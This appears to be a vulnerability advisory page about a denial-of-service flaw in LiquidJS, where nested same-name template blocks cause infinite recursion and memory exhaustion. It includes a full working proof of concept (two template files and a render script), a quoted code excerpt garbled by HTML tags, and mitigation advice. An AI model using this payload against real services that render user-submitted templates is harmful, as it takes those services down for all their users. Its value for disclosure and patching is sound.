Listen to this Post
A circular block reference in `{% layout %}` / `{% block %}` causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.
How the CVE Works
The vulnerability exists in `src/tags/block.ts` during OUTPUT mode. Each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block named `a` is nested inside another block also named `a` in a child template, the inner block finds the outer block’s render function and calls it. The outer block’s templates contain the inner block again, creating infinite recursion with no termination condition.
The critical code is in `getBlockRender` method:
-
</dt> <dt>private getBlockRender (ctx: Context) {</dt> <dt>const { liquid, templates } = this</dt> <dt>const renderChild = ctx.getRegister('blocks')[this.block]</dt> <dt>const renderCurrent = function (superBlock: BlockDrop, emitter: Emitter) {</dt> <dt>ctx.push({ block: superBlock })</dt> <dt>yield liquid.renderer.renderTemplates(templates, ctx, emitter)</dt> <dt>ctx.pop()</dt> <dt>}</dt> <dt>return renderChild</dt> <dt>? (superBlock: BlockDrop, emitter: Emitter) => renderChild(</dt> <dt>new BlockDrop(</dt> <dt>(emitter: Emitter) => renderCurrent(superBlock, emitter)</dt> <dt>),</dt> <dt>emitter)</dt> <dd>renderCurrent }When `renderChild` exists (same-name block found), it calls `renderChild` which re‑renders templates containing the nested block, which again finds
renderChild, and so on — infinite loop.
Proof of Concept (PoC)
1. Create `layout.html`:
<header>{% block a %}default-a{% endblock %}</header>
<main>{% block b %}default-b{% endblock %}</main>
<footer>{% block c %}default-c{% endblock %}</footer>
2. Create `template.html`:
{% layout "layout" %}
{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}
{% block b %}content-b{% endblock %}
{% block c %}content-c{% endblock %}
3. Render:
const { Liquid } = require('liquidjs')
const liquid = new Liquid({ root: './', extname: '.html' })
liquid.renderFile('template').then(console.log)
// Result: process hangs, memory grows to ~4GB, then crashes with OOM
dailycve form
Platform: LiquidJS
Version: <=10.25.3
Vulnerability: DoS (infinite recursion)
Severity: Medium
Date: 2026‑04‑24
Prediction: Patch date: 2026‑05‑15
What Undercode Say: Analytics
- The attack requires only one malicious template and no authentication.
- Attack surface includes any application that accepts user‑submitted Liquid templates (CMS, email builders, multi‑tenant SaaS, static site generators).
- Mitigation: upgrade to LiquidJS version >=10.25.4 (patch not yet released).
Bash commands / code for detection & verification
Check LiquidJS version npm list liquidjs
// Minimal PoC script to test for vulnerability
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ root: './', extname: '.html' });
liquid.renderFile('template').then(console.log).catch(console.error);
How Exploit
An attacker with the ability to define or influence a Liquid template can craft a payload containing nested blocks of the same name. When rendered, this triggers the infinite recursive loop, exhausting all memory and crashing the Node.js process. The attack requires no special configuration or authentication beyond template submission.
Protection from this CVE
- Upgrade to LiquidJS version once a fix is released (expected in version 10.25.4).
- Temporarily restrict untrusted users from submitting or modifying Liquid templates.
- Implement process‑level memory limits (e.g., using `–max-old-space-size` in Node.js), though this only reduces the impact and does not prevent the infinite recursion.
Impact
Denial of Service (DoS). A single malicious template can crash the entire Node.js process, making the application unavailable for all users. The attack leads to memory exhaustion (~4GB) and a forced process termination, with no data exposure or privilege escalation – only service disruption.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

